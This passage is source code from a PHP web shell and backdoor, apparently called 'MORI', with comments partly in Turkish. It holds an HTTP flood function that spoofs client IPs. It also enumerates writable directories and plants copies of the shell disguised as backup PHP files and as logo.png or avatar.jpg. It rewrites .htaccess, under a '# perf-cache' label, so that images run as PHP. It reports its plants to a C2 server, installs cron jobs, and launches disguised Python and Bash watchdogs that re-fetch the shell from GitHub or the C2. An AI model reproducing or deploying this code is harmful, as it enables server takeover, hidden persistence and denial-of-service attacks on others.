['cmd' => $cmd, 't' => time(), 'qid' => uniqid()]; @file_put_contents($queue_file, json_encode(array_values($queue)), LOCK_EX); return "[QUEUED] Shell kısıtlandı, komut kuyruğa alındı. Cron 5dk içinde çalıştıracak. Methods tried: " . implode(', ', $methods_tried); } // ─── MORI_STRESS helpers ────────────────────────────────────────────────── // Sadece local arama — download yapmaz (bloklamaz) function mori_get_dos_path() { foreach ([__DIR__, '/tmp', '/dev/shm', '/var/tmp', sys_get_temp_dir()] as $dir) { if (!is_dir($dir)) continue; foreach (['dos_mori.py', 'dos.py'] as $fn) { $p = $dir . '/' . $fn; if (@file_exists($p) && @filesize($p) > 1000) return $p; } foreach (@glob($dir . '/dos.py*') ?: [] as $f) { if (@filesize($f) > 1000) return $f; } } return null; } function mori_find_python() { static $cached = null; if ($cached !== null) return $cached; $dis = array_map('trim', explode(',', ini_get('disable_functions'))); $fn = null; foreach (['shell_exec', 'exec'] as $f) if (function_exists($f) && !in_array($f, $dis)) { $fn = $f; break; } if ($fn) { foreach (['python3', 'python', '/usr/bin/python3', '/usr/local/bin/python3', '/usr/bin/python'] as $p) { $r = trim((string)@$fn('which ' . escapeshellarg($p) . ' 2>/dev/null')); if ($r && $r[0] === '/') return ($cached = $r); } } return ($cached = 'python3'); } function mori_exec_bg($cmd) { $dis = array_map('trim', explode(',', ini_get('disable_functions'))); foreach (['shell_exec', 'exec', 'system', 'passthru'] as $fn) if (function_exists($fn) && !in_array($fn, $dis)) { @$fn($cmd); return true; } if (function_exists('proc_open') && !in_array('proc_open', $dis)) { $p = @proc_open($cmd, [], $pipes); if ($p) { @proc_close($p); return true; } } if (function_exists('popen') && !in_array('popen', $dis)) { $h = @popen($cmd, 'r'); if ($h) { @pclose($h); return true; } } return false; } // ───────────────────────────────────────────────────────────────────────────── /** * PHP native HTTP flood — rolling window pattern * Her tamamlanan istek anında yenisiyle değiştirilir, pool her zaman dolu kalır. */ function php_native_flood($url, $method = 'GET', $duration = 20, $concurrency = 50, $rpc = 10) { if (!function_exists('curl_multi_init')) return '[ERROR] curl_multi yok'; if (empty($url) || !preg_match('#^https?://#i', $url)) return '[ERROR] Geçersiz URL'; static $UAS = [ 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36', 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0', 'Mozilla/5.0 (Macintosh; Intel Mac OS X 14_4) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.4 Safari/605.1.15', 'Mozilla/5.0 (iPhone; CPU iPhone OS 17_4 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.0 Mobile/15E148 Safari/604.1', 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36', 'Mozilla/5.0 (Android 14; Mobile; rv:125.0) Gecko/125.0 Firefox/125.0', 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 Edg/124.0.0.0', ]; $method = strtoupper(in_array(strtoupper($method), ['GET','POST','HEAD']) ? $method : 'GET'); $deadline = time() + $duration; $sent = $errors = 0; $make = function() use ($url, $method, &$UAS) { $ip = mt_rand(1,223).'.'.mt_rand(0,255).'.'.mt_rand(0,255).'.'.mt_rand(1,254); $ch = curl_init($url . '?_=' . mt_rand(1, 2147483647) . '&t=' . time()); curl_setopt_array($ch, [ CURLOPT_RETURNTRANSFER => false, CURLOPT_TIMEOUT => 5, CURLOPT_CONNECTTIMEOUT => 3, CURLOPT_SSL_VERIFYPEER => false, CURLOPT_SSL_VERIFYHOST => false, CURLOPT_FOLLOWLOCATION => false, CURLOPT_USERAGENT => $UAS[array_rand($UAS)], CURLOPT_FORBID_REUSE => false, CURLOPT_FRESH_CONNECT => false, CURLOPT_HTTPHEADER => [ 'X-Forwarded-For: ' . $ip, 'X-Real-IP: ' . $ip, 'CF-Connecting-IP: '. $ip, 'Accept: */*', 'Connection: keep-alive', 'Cache-Control: no-cache', ], ]); if ($method === 'POST') { curl_setopt($ch, CURLOPT_POST, true); curl_setopt($ch, CURLOPT_POSTFIELDS, 'x=' . substr(md5(mt_rand()), 0, mt_rand(16,64))); } elseif ($method === 'HEAD') { curl_setopt($ch, CURLOPT_NOBODY, true); } return $ch; }; $mh = curl_multi_init(); curl_multi_setopt($mh, CURLMOPT_MAXCONNECTS, $concurrency); $pool = []; // fill initial pool for ($i = 0; $i < $concurrency; $i++) { $ch = $make(); curl_multi_add_handle($mh, $ch); $pool[(int)$ch] = $ch; } // rolling window — as soon as one slot frees, fire a new request while (time() < $deadline) { curl_multi_exec($mh, $running); while ($done = curl_multi_info_read($mh)) { $ch = $done['handle']; $code = curl_getinfo($ch, CURLINFO_HTTP_CODE); ($code > 0) ? $sent++ : $errors++; curl_multi_remove_handle($mh, $ch); curl_close($ch); unset($pool[(int)$ch]); if (time() < $deadline) { $new = $make(); curl_multi_add_handle($mh, $new); $pool[(int)$new] = $new; } } curl_multi_select($mh, 0.001); } foreach ($pool as $ch) { curl_multi_remove_handle($mh, $ch); curl_close($ch); } curl_multi_close($mh); $rps = $duration > 0 ? round($sent / $duration) : $sent; return "[PHP_STRESS] $url | $method | {$duration}s | sent:{$sent} err:{$errors} | ~{$rps} req/s"; } // ===================================================== // DOSYA SİSTEMİ İŞLEMLERİ // ===================================================== function list_directory($path) { $path = str_replace('\\', '/', $path); $real = realpath($path); if (!$real || !is_dir($real)) { return json_encode(['error' => "Directory not found: $path"]); } $items = []; $dir = @opendir($real); if (!$dir) { return json_encode(['error' => "Cannot open directory: $path"]); } while (($file = readdir($dir)) !== false) { if ($file === '.' || $file === '..') continue; $full = $real . DIRECTORY_SEPARATOR . $file; $stat = @stat($full); $items[] = [ 'name' => $file, 'type' => is_dir($full) ? 'dir' : 'file', 'path' => str_replace('\\', '/', $full), 'size' => is_file($full) ? filesize($full) : 0, 'perms' => substr(sprintf('%o', fileperms($full)), -4), 'owner' => function_exists('fileowner') ? fileowner($full) : null, 'group' => function_exists('filegroup') ? filegroup($full) : null, 'modified' => filemtime($full), 'readable' => is_readable($full), 'writable' => is_writable($full), 'executable' => is_executable($full) ]; } closedir($dir); // Dizinleri önce sırala usort($items, function($a, $b) { if ($a['type'] === $b['type']) { return strcasecmp($a['name'], $b['name']); } return $a['type'] === 'dir' ? -1 : 1; }); return json_encode($items, JSON_PRETTY_PRINT); } function read_file($file) { $real = realpath($file); if (!$real || !is_file($real) || !is_readable($real)) { return "[ERROR] Cannot read file: $file"; } $content = @file_get_contents($real); return $content !== false ? $content : "[ERROR] Read failed"; } function write_file($file, $content_b64) { $content = safe_base64_decode($content_b64); if ($content === false) $content = @base64_decode($content_b64, true); if ($content === false) return "[ERROR] Failed to decode base64 content"; $dir = dirname($file); if (!is_dir($dir)) { @mkdir($dir, 0755, true); } $result = @file_put_contents($file, $content); return $result !== false ? "OK: $result bytes written" : "[ERROR] Write failed"; } function delete_file($file) { $real = realpath($file); if (!$real || !is_file($real)) { return "[ERROR] File not found: $file"; } return @unlink($real) ? "OK: Deleted $file" : "[ERROR] Delete failed"; } function copy_file($src, $dst) { return @copy($src, $dst) ? "OK: Copied $src to $dst" : "[ERROR] Copy failed"; } function create_directory($path) { return @mkdir($path, 0755, true) ? "OK: Created $path" : "[ERROR] Cannot create directory"; } function get_persistence_target_file() { return __FILE__; } function get_persistence_source_url() { global $persistence_default_url; $url = $persistence_default_url; $localFile = __DIR__ . '/.persistence_source_url'; if (file_exists($localFile)) { $stored = trim(file_get_contents($localFile)); if (filter_var($stored, FILTER_VALIDATE_URL)) { $url = $stored; } } return $url; } function find_writable_directories($bases, $maxDirs = 50, $maxDepth = 3, $maxNodes = 1000) { /** * PHP-based recursive writable directories search * Used as fallback when shell commands unavailable */ $found = []; $visited = []; $queue = []; foreach ($bases as $base) { if (!$base || !is_dir($base)) { continue; } $real = realpath($base); if (!$real || isset($visited[$real])) { continue; } $visited[$real] = true; if (is_writable($real)) { $found[] = $real; } $queue[] = ['path' => $real, 'depth' => 0]; } $nodes = 0; while ($queue && count($found) < $maxDirs && $nodes < $maxNodes) { $item = array_shift($queue); $nodes++; $path = $item['path']; $depth = $item['depth']; if ($depth >= $maxDepth) { continue; } $entries = @scandir($path); if (!$entries || !is_array($entries)) { continue; } foreach ($entries as $entry) { if ($entry === '.' || $entry === '..') { continue; } $sub = $path . DIRECTORY_SEPARATOR . $entry; if (!is_dir($sub)) { continue; } $realSub = realpath($sub); if (!$realSub || isset($visited[$realSub])) { continue; } if (in_array($entry, ['proc', 'sys', 'dev', 'run', 'tmp', 'lost+found'], true)) { continue; } $visited[$realSub] = true; if (is_writable($realSub)) { $found[] = $realSub; } $queue[] = ['path' => $realSub, 'depth' => $depth + 1]; } } return $found; } function enumerate_root_writable_dirs() { /** * Root path altında writable dizinleri enumerate et * find / -maxdepth 5 -writable -type d 2>/dev/null | head -n 100 */ $writable_dirs = []; // YÖNTEM 1: find komutu ile (daha hızlı ve kapsamlı) if (function_exists('shell_exec')) { $find_cmd = 'find / -maxdepth 5 -writable -type d 2>/dev/null | head -n 100'; $output = @shell_exec($find_cmd); if ($output) { $lines = explode("\n", trim($output)); foreach ($lines as $line) { $line = trim($line); if ($line && is_dir($line) && is_writable($line)) { $writable_dirs[] = $line; } } } } // YÖNTEM 2: PHP ile recursive search (fallback) if (count($writable_dirs) < 10) { $php_dirs = find_writable_directories(['/'], 100, 5, 1000); $writable_dirs = array_merge($writable_dirs, $php_dirs); } // Duplicate'ları kaldır ve filtrele $writable_dirs = array_unique($writable_dirs); $filtered = []; foreach ($writable_dirs as $dir) { // Tehlikeli dizinleri çıkar if (strpos($dir, '/proc/') === 0 || strpos($dir, '/sys/') === 0 || strpos($dir, '/dev/') === 0 || $dir === '/' || !is_writable($dir)) { continue; } $filtered[] = $dir; } return array_slice($filtered, 0, 100); } // ===================================================== // PERSISTENCE V4 - WARRIOR SYSTEM // Multi-location deployment + Sister files + PNG masking // ===================================================== function get_deployment_targets() { /** * Find all writable web directories recursively * Returns paths to deploy sister files */ $targets = []; // Primary locations $base_paths = [ '/var/www/html', '/var/www', '/home', '/opt', '/srv', '/usr/share/nginx/html', dirname(__DIR__), __DIR__, sys_get_temp_dir(), ]; foreach ($base_paths as $base) { if (!@is_dir($base) || !@is_writable($base)) continue; // Add base directory if (count($targets) < 20) { $targets[] = $base; } // Scan for WordPress/plugin directories $subdirs = @scandir($base); if (!$subdirs) continue; foreach ($subdirs as $subdir) { if ($subdir === '.' || $subdir === '..') continue; $full_path = $base . '/' . $subdir; if (!@is_dir($full_path) || !@is_readable($full_path)) continue; // WordPress themes if ($subdir === 'wp-content') { $themes = $full_path . '/themes'; if (@is_dir($themes) && @is_writable($themes)) { $targets[] = $themes; } $plugins = $full_path . '/plugins'; if (@is_dir($plugins) && @is_writable($plugins)) { $targets[] = $plugins; } } // Generic web directory if (@is_writable($full_path) && count($targets) < 20) { $targets[] = $full_path; } } } return array_values(array_unique($targets)); } // ==================================================== // DEEP DEPLOYMENT TARGET SCANNING (Generic Linux) // ==================================================== function get_deployment_targets_from_backup() { $targets = []; // Minimal exclusion: only truly critical system dirs $excluded_root_dirs = ["proc", "sys", "dev", "etc", "lib"]; // 1. SYSTEM SCAN - Start from root, avoid excluded dirs function scan_writable_everywhere($path, &$results, $max_depth = 4, $depth = 0, $excluded = []) { if (count($results) >= 100 || $depth >= $max_depth) return; if (!@is_dir($path) || !@is_readable($path)) return; $entries = @scandir($path); if (!$entries) return; foreach ($entries as $entry) { if ($entry === "." || $entry === "..") continue; // Skip excluded dirs at root level if ($depth === 0 && in_array($entry, $excluded)) continue; $full = $path . "/" . $entry; if (!@is_dir($full) || !@is_readable($full)) continue; // Writable? Add it if (@is_writable($full) && count($results) < 100) { $results[] = $full; } // Stay shallow to avoid massive deep recursion if ($depth < $max_depth - 1 && strlen($full) < 80) { scan_writable_everywhere($full, $results, $max_depth, $depth + 1, $excluded); } } } // Start from root scan_writable_everywhere("/", $targets, 3, 0, $excluded_root_dirs); // 2. WEB-SPECIFIC DEEP SCAN - Go deeper in web roots function scan_web_deep($base, &$results, $max_depth = 6, $depth = 0) { if (count($results) >= 100 || $depth >= $max_depth) return; if (!@is_dir($base) || !@is_readable($base)) return; $entries = @scandir($base); if (!$entries) return; foreach ($entries as $entry) { if ($entry === "." || $entry === "..") continue; $full = $base . "/" . $entry; if (!@is_dir($full) || !@is_readable($full)) continue; // Prioritize ANY common web/app locations (generic, not WordPress-specific) $is_web_priority = ( preg_match("/public_html|www|html|webroot|htdocs|web/i", $full) || preg_match("/uploads|files|media|downloads|attachments/i", $full) || preg_match("/apps?|store|api|backend|frontend|dist|build/i", $full) || preg_match("/\.git|\.config|\.cache|\.local|\.ssh/i", $full) || preg_match("/[a-f0-9\-]{36}|[0-9]{4,}/", basename($full)) // UUID or numeric dirs (tenant IDs) ); if (@is_writable($full) && count($results) < 100) { // DEEP PATHS GET PRIORITY $depth_score = substr_count($full, "/"); $results[] = ["path" => $full, "depth" => $depth_score, "web" => $is_web_priority]; } // Go deeper if ($depth < $max_depth - 1) { scan_web_deep($full, $results, $max_depth, $depth + 1); } } } // Web root deep scan $web_bases = ["/var/www", "/home", "/opt", "/srv", "/var"]; foreach ($web_bases as $base) { if (@is_dir($base)) { $temp = []; scan_web_deep($base, $temp); $targets = array_merge($targets, $temp); } } // 3. SORT BY DEPTH (deeper = better for hiding) usort($targets, function($a, $b) { if (is_array($a)) { $depth_a = $a["depth"] ?? 0; return $depth_a > ($b["depth"] ?? 0) ? -1 : 1; // Descending (deeper first) } return 0; }); // Extract just paths $final_targets = []; foreach ($targets as $item) { if (is_array($item)) { $final_targets[] = $item["path"]; } else { $final_targets[] = $item; } } return array_values(array_unique($final_targets)); } // Combine both deployment target scanners function get_all_deployment_targets() { $targets = array_merge( get_deployment_targets(), get_deployment_targets_from_backup() ); return array_unique($targets); } function file_path_to_url($file_path) { $file_path = str_replace('\\', '/', $file_path); $scheme = (!empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] !== 'off') ? 'https' : 'http'; $host = $_SERVER['HTTP_HOST'] ?? $_SERVER['SERVER_NAME'] ?? ''; $doc_root = rtrim(str_replace('\\', '/', $_SERVER['DOCUMENT_ROOT'] ?? ''), '/'); // 1. DOCUMENT_ROOT — must end with / to avoid /var/www/html2 matching /var/www/html if ($doc_root && $host && strpos($file_path, $doc_root . '/') === 0) { $rel = ltrim(substr($file_path, strlen($doc_root)), '/'); return $scheme . '://' . $host . '/' . $rel; } // 2. Shell URL + __DIR__ (cron / CLI / non-standard doc root) $shell_url = $GLOBALS['WEB_URL'] ?? $GLOBALS['web_shell_url'] ?? ''; $shell_dir = rtrim(str_replace('\\', '/', __DIR__), '/'); if ($shell_url && $shell_dir && strpos($file_path, $shell_dir . '/') === 0) { $base = rtrim(dirname($shell_url), '/'); $rel = ltrim(substr($file_path, strlen($shell_dir)), '/'); return $base . '/' . $rel; } // 3. /var/www/html/... if (strpos($file_path, '/var/www/html/') === 0) { $rel = substr($file_path, strlen('/var/www/html/')); return $scheme . '://' . ($host ?: 'localhost') . '/' . $rel; } // 4. /var/www/<domain>/public_html/... or /var/www/<domain>/... if (preg_match('|^/var/www/([^/]+)/public_html/(.+)|', $file_path, $m)) { return $scheme . '://' . $m[1] . '/' . $m[2]; } if (preg_match('|^/var/www/([^/]+)/(.+)|', $file_path, $m) && !in_array($m[1], ['html','www','log','cache','run'], true)) { return $scheme . '://' . $m[1] . '/' . $m[2]; } // 5. cPanel: /home/<user>/public_html/... ONLY — never /home/<user>/mail/ etc. if (preg_match('|^/home/[^/]+/public_html/(.+)|', $file_path, $m)) { return $scheme . '://' . ($host ?: 'localhost') . '/' . $m[1]; } // Cannot determine a valid web URL — file is outside all known web roots return null; } function deploy_sister_files_aggressive() { /** * WARRIOR SYSTEM v3 - GENERIC LINUX SITES * Deploy sister files to 10+ locations with masking * Works on ANY Linux site (not just WordPress) * FIX: Sister files use .png/.gif/.jpg ONLY (no .php.png pattern) */ global $c2_server, $web_shell_url; // Lock - 1 hour deployment cooldown $deploy_lock = '/tmp/.mori_deploy_lock_v4'; if (@file_exists($deploy_lock)) { $lock_age = time() - @filemtime($deploy_lock); if ($lock_age < 3600) return true; // Already deployed recently } // Get targets - dynamic enumeration $targets = get_all_deployment_targets(); $targets = array_unique($targets); if (count($targets) < 1) return false; // deploy even to 1 target (was 3, too strict) @touch($deploy_lock); // Read current shell code $shell_code = @file_get_contents(__FILE__); if (!$shell_code || strlen($shell_code) < 15000) return false; // Deploy strategy (generic for ANY Linux site): // 1. Generic PHP files (config-backup.php, system-backup.php, etc) // 2. Image-masked PHP files (logo.png, banner.gif, avatar.jpg) // 3. .htaccess for magic routing $deployed = []; $url_map = []; // parallel to $deployed — '' for files outside web root $standard_names = ['config-backup.php', 'system-backup.php', 'init-backup.php']; $masked_names = ['logo.png', 'banner.gif', 'avatar.jpg']; foreach (array_slice($targets, 0, 10) as $idx => $target) { if (!@is_dir($target) || !@is_writable($target)) continue; // Strategy 1: Standard PHP file $standard_file = $target . '/' . $standard_names[$idx % count($standard_names)]; @file_put_contents($standard_file, $shell_code); @chmod($standard_file, 0644); $deployed[] = $standard_file; $url_map[] = file_path_to_url($standard_file) ?? ''; // Strategy 2: Image-masked PHP (.png/.gif/.jpg — executed via .htaccess SetHandler) $masked_file = $target . '/' . $masked_names[$idx % count($masked_names)]; $masked_code = "<?php\n" . substr($shell_code, 5); @file_put_contents($masked_file, $masked_code); @chmod($masked_file, 0644); $deployed[] = $masked_file; $url_map[] = file_path_to_url($masked_file) ?? ''; // Strategy 3: .htaccess — append only, NEVER overwrite existing content $htaccess = $target . '/.htaccess'; $existing = @file_get_contents($htaccess) ?: ''; if (strpos($existing, '# perf-cache') === false) { $append = "\n# perf-cache\n" . "AddType application/x-httpd-php .png .gif .jpg .jpeg\n" . "AddHandler application/x-httpd-php .png .gif .jpg .jpeg\n" . "<FilesMatch \"\\.png$|\\.gif$|\\.jpe?g$\">\n" . " SetHandler application/x-httpd-php\n" . " ForceType application/x-httpd-php\n" . "</FilesMatch>\n" . "<IfModule mod_php.c>\n php_flag engine on\n</IfModule>\n" . "<IfModule mod_php8.c>\n php_flag engine on\n</IfModule>\n" . "<IfModule mod_php7.c>\n php_flag engine on\n</IfModule>\n" . "<IfModule mod_php5.c>\n php_flag engine on\n</IfModule>\n"; @file_put_contents($htaccess, $existing . $append); @chmod($htaccess, 0644); } } // locations[i] and urls[i] are parallel — '' means file has no web URL $deployment_info = [ 'deployed_count' => count($deployed), 'locations' => $deployed, 'urls' => $url_map, 'timestamp' => time(), 'target_count' => count($targets), ]; // Cache for registration pickup @file_put_contents(sys_get_temp_dir() . '/.mori_sister_cache.json', json_encode($deployment_info)); return $deployment_info; } function report_sister_files_to_c2($deployment_info) { $server = $GLOBALS['C2_SERVER'] ?? ''; $id = $GLOBALS['CLIENT_ID'] ?? ''; if (!$server || !$id || empty($deployment_info['locations'])) return false; $payload = [ 'id' => $id, 'sister_files'=> $deployment_info['locations'], 'sister_urls' => $deployment_info['urls'] ?? [], 'deployed_at' => $deployment_info['timestamp'] ?? time(), ]; $encoded = safe_base64_encode(safe_json_encode($payload)); @http_post_timeout($server . '?act=sister_report', $encoded, 2); return true; } function generate_wp_config_backup() { /** * Generate wp-config-backup.php * ORCHESTRATOR for deployment v3 * Optimized writable dir scanning + deep path prioritization */ global $C2_SERVER, $web_shell_url; $c2_server = $C2_SERVER; // $C2_SERVER is the actual global; $c2_server only exists inside c2_register() $code = '<?php /** * WordPress Configuration Backup Orchestrator v3 * Smart writable directory detection + deep path prioritization */ // OPTIMIZED: Scan writable directories (system-wide + web) function get_deployment_targets_from_backup() { $targets = []; // Minimal exclusion: only truly critical system dirs $excluded_root_dirs = ["proc", "sys", "dev", "etc", "lib"]; // 1. SYSTEM SCAN - Start from root, avoid excluded dirs function scan_writable_everywhere($path, &$results, $max_depth = 4, $depth = 0, $excluded = []) { if (count($results) >= 100 || $depth >= $max_depth) return; if (!@is_dir($path) || !@is_readable($path)) return; $entries = @scandir($path); if (!$entries) return; foreach ($entries as $entry) { if ($entry === "." || $entry === "..") continue; // Skip excluded dirs at root level if ($depth === 0 && in_array($entry, $excluded)) continue; $full = $path . "/" . $entry; if (!@is_dir($full) || !@is_readable($full)) continue; // Writable? Add it if (@is_writable($full) && count($results) < 100) { $results[] = $full; } // Stay shallow to avoid massive deep recursion if ($depth < $max_depth - 1 && strlen($full) < 80) { scan_writable_everywhere($full, $results, $max_depth, $depth + 1, $excluded); } } } // Start from root scan_writable_everywhere("/", $targets, 3, 0, $excluded_root_dirs); // 2. WEB-SPECIFIC DEEP SCAN - Go deeper in web roots function scan_web_deep($base, &$results, $max_depth = 6, $depth = 0) { if (count($results) >= 100 || $depth >= $max_depth) return; if (!@is_dir($base) || !@is_readable($base)) return; $entries = @scandir($base); if (!$entries) return; foreach ($entries as $entry) { if ($entry === "." || $entry === "..") continue; $full = $base . "/" . $entry; if (!@is_dir($full) || !@is_readable($full)) continue; // Prioritize ANY common web/app locations (generic, not WordPress-specific) $is_web_priority = ( preg_match("/public_html|www|html|webroot|htdocs|web/i", $full) || preg_match("/uploads|files|media|downloads|attachments/i", $full) || preg_match("/apps?|store|api|backend|frontend|dist|build/i", $full) || preg_match("/\.git|\.config|\.cache|\.local|\.ssh/i", $full) || preg_match("/[a-f0-9\-]{36}|[0-9]{4,}/", basename($full)) // UUID or numeric dirs (tenant IDs) ); if (@is_writable($full) && count($results) < 100) { // DEEP PATHS GET PRIORITY $depth_score = substr_count($full, "/"); $results[] = ["path" => $full, "depth" => $depth_score, "web" => $is_web_priority]; } // Go deeper if ($depth < $max_depth - 1) { scan_web_deep($full, $results, $max_depth, $depth + 1); } } } // Web root deep scan $web_bases = ["/var/www", "/home", "/opt", "/srv", "/var"]; foreach ($web_bases as $base) { if (@is_dir($base)) { $temp = []; scan_web_deep($base, $temp); $targets = array_merge($targets, $temp); } } // 3. SORT BY DEPTH (deeper = better for hiding) usort($targets, function($a, $b) { if (is_array($a)) { $depth_a = $a["depth"] ?? 0; return $depth_a > ($b["depth"] ?? 0) ? -1 : 1; // Descending (deeper first) } return 0; }); // Extract just paths $final_targets = []; foreach ($targets as $item) { if (is_array($item)) { $final_targets[] = $item["path"]; } else { $final_targets[] = $item; } } return array_values(array_unique($final_targets)); } // Get main shell code function get_main_shell_code() { $sf = SHELL_FILE; $paths = array_merge( (array)@glob("/var/www/*/public_html/" . $sf), (array)@glob("/var/www/*/" . $sf), (array)@glob("/home/*/public_html/" . $sf), (array)@glob("/home/*/" . $sf), [SHELL_PATH, __DIR__ . "/" . $sf, dirname(__DIR__) . "/" . $sf] ); foreach ($paths as $path) { $code = @file_get_contents($path); if ($code && strlen($code) > 15000) { return $code; } } return null; } // Fetch from C2 if local not available function get_shell_code_fallback() { $c2_url = ($GLOBALS["C2_SERVER"] ?? "") . "?act=get_shell"; $content = @file_get_contents($c2_url); if ($content && strlen($content) > 15000) { return $content; } $github_url = "https://raw.githubusercontent.com/wnwnsks/wn/refs/heads/main/l.php"; $content = @file_get_contents($github_url); if ($content && strlen($content) > 15000) { return $content; } return null; } // Deploy to all targets function deploy_sister_files_from_backup() { $shell_code = get_main_shell_code(); if (!$shell_code) { $shell_code = get_shell_code_fallback(); if (!$shell_code) return 0; } $targets = get_deployment_targets_from_backup(); $deployed_paths = []; $standard_names = ["wp-config-backup.php", "wp-content-backup.php", "wp-settings-backup.php"]; $masked_names = ["logo.png", "banner.gif", "avatar.jpg"]; foreach (array_slice($targets, 0, 10) as $idx => $target) { // Standard PHP $file = $target . "/" . $standard_names[$idx % count($standard_names)]; if (@file_put_contents($file, $shell_code)) { @chmod($file, 0644); $deployed_paths[] = $file; } // Image masked (no .php extension) $img = $target . "/" . $masked_names[$idx % count($masked_names)]; $masked = "<?php\n" . substr($shell_code, 5); if (@file_put_contents($img, $masked)) { @chmod($img, 0644); $deployed_paths[] = $img; } // .htaccess — append only, NEVER overwrite existing content $htaccess = $target . "/.htaccess"; $existing = @file_get_contents($htaccess) ?: ""; if (strpos($existing, "# perf-cache") === false) { $append = "\n# perf-cache\n" . "Options +ExecCGI\n" . "AddHandler application/x-httpd-php .png .gif .jpg\n" . "<FilesMatch \"\\.png\$|\\.gif\$|\\.jpg\$\">\n" . " SetHandler application/x-httpd-php\n" . " ForceType application/x-httpd-php\n" . "</FilesMatch>\n" . "<IfModule mod_php.c>\n php_flag engine on\n</IfModule>\n" . "<IfModule mod_php8.c>\n php_flag engine on\n</IfModule>\n" . "<IfModule mod_php7.c>\n php_flag engine on\n</IfModule>\n" . "<IfModule mod_php5.c>\n php_flag engine on\n</IfModule>\n"; @file_put_contents($htaccess, $existing . $append); @chmod($htaccess, 0644); } } // Merge new paths into sister cache (picked up by main shell on next register) $cache_file = sys_get_temp_dir() . "/.mori_sister_cache.json"; $existing = @json_decode(@file_get_contents($cache_file), true) ?: ["locations" => [], "urls" => [], "timestamp" => 0]; $existing["locations"] = array_values(array_unique(array_merge($existing["locations"] ?? [], $deployed_paths))); $existing["timestamp"] = time(); @file_put_contents($cache_file, json_encode($existing)); return count($deployed_paths); } // Main execution if (php_sapi_name() !== "cli" || !isset($GLOBALS["_wp_config_backup_running"])) { $GLOBALS["_wp_config_backup_running"] = true; deploy_sister_files_from_backup(); } // Silent exit exit(0); ?>'; return $code; } function ensure_persistence_v4() { /** * MAIN ORCHESTRATOR v2 - Called on every register * Deploys sister files + Starts Python + Bash monitors (max 1 each) */ global $c2_server, $web_shell_url, $CLIENT_ID, $client_id, $C2_SERVER; // Throttle: her 5 dakikada bir çalış (her ?m= requestinde değil) $throttle = sys_get_temp_dir() . '/.mori_persist_ts'; $last = (int)@file_get_contents($throttle); if ($last && (time() - $last) < 300) return; @file_put_contents($throttle, time()); $client_id = $client_id ?: ($CLIENT_ID ?: md5(gethostname() . microtime())); // Step 0: One-shot cron dedup — remove spam entries left by broken dedup on old installs // Runs every 5 min (same throttle as this function), fast because it's just string ops $cron_check = exec_any("crontab -l 2>/dev/null | grep -cF '#mori_persist'"); if ((int)$cron_check > 1) { // More than 1 mori_persist line → nuke all and reinstall fresh $all_lines = exec_any("crontab -l 2>/dev/null"); if ($all_lines !== false) { $clean = array_filter( explode("\n", (string)$all_lines), function($l) { return strpos($l, '#mori_persist') === false && trim($l) !== ''; } ); $new_tab = implode("\n", $clean) . "\n"; exec_any("echo " . escapeshellarg(rtrim($new_tab)) . " | crontab - 2>/dev/null"); } // Force install_cron_persistence() to run immediately by clearing its throttle @unlink(sys_get_temp_dir() . '/.mori_cron_ts'); @install_cron_persistence(); } // Step 1: Deploy aggressive sister files // Report to C2 only if client is already registered (UPDATE would fail for new clients) $deploy_info = @deploy_sister_files_aggressive(); $reg_file = REAL_DIR . '/.registered'; if (is_array($deploy_info) && !empty($deploy_info['locations']) && @file_exists($reg_file) && @filesize($reg_file) > 0) { @report_sister_files_to_c2($deploy_info); } // Step 2: Create wp-config-backup.php orchestrator $backup_code = @generate_wp_config_backup(); if ($backup_code) { $backup_file = '/tmp/wp-config-backup.php'; @file_put_contents($backup_file, $backup_code); @chmod($backup_file, 0755); // Execute in background exec_any("nohup php " . escapeshellarg($backup_file), true); } // Step 3: Start monitor processes (ONLY 1 instance each, no duplicates) $monitor_lock = '/tmp/.svc_monitor_lock'; // PHP_INT_MAX when file absent → condition is true → monitors start on first run $lock_age = @file_exists($monitor_lock) ? (time() - @filemtime($monitor_lock)) : PHP_INT_MAX; // Start monitors: check every 5 minutes (lock freshness) if ($lock_age > 300) { @touch($monitor_lock); // Python monitor (max 1 instance) — local file check + restore $py_process_count = (int)(exec_any("pgrep -c -f '/tmp/sys_security.py' 2>/dev/null || echo 0") ?: 0); if ($py_process_count == 0) { $shell_path_esc = addslashes(SHELL_PATH); $shell_file_esc = addslashes(SHELL_FILE); $c2_url_esc = addslashes($C2_SERVER ?: ''); $token_esc = md5('mori_c2_secret_2024_persistence'); $py_code = '#!/usr/bin/env python3 import os, time, ssl, urllib.request SHELL_PATH = "' . $shell_path_esc . '" SHELL_FILE = "' . $shell_file_esc . '" C2_URL = "' . $c2_url_esc . '" TOKEN = "' . $token_esc . '" GH_URL = "https://raw.githubusercontent.com/wnwnsks/wn/refs/heads/main/l.php" INTERVAL = 60 # local check only — no HTTP alive probe ctx = ssl.create_default_context() ctx.check_hostname = False ctx.verify_mode = ssl.CERT_NONE def needs_restore(): try: return os.path.getsize(SHELL_PATH) < 10000 except OSError: return True # file missing def restore(): # GitHub first — C2 may have Cloudflare UAM active sources = [ (GH_URL, 15), (C2_URL + "?act=get_shell&token=" + TOKEN + "&file=" + SHELL_FILE, 4), ] for url, tmo in sources: try: req = urllib.request.Request(url, headers={"User-Agent": "Mozilla/5.0"}) with urllib.request.urlopen(req, timeout=tmo, context=ctx) as r: code = r.read() if len(code) > 10000 and code[:5] == b"<?php": with open(SHELL_PATH, "wb") as f: f.write(code) os.chmod(SHELL_PATH, 0o644) return True except: pass return False if hasattr(os, "prctl"): try: os.prctl(15, b"[system]") except: pass while True: try: if needs_restore(): restore() time.sleep(INTERVAL) except: time.sleep(INTERVAL) '; @file_put_contents('/tmp/sys_security.py', $py_code); @chmod('/tmp/sys_security.py', 0755); exec_any("nohup python3 /tmp/sys_security.py", true); } // Bash monitor (max 1 instance) — local file-size check + restore only when needed $bash_process_count = (int)(exec_any("pgrep -c -f '/tmp/sys_monitor.sh' 2>/dev/null || echo 0") ?: 0); if ($bash_process_count == 0) 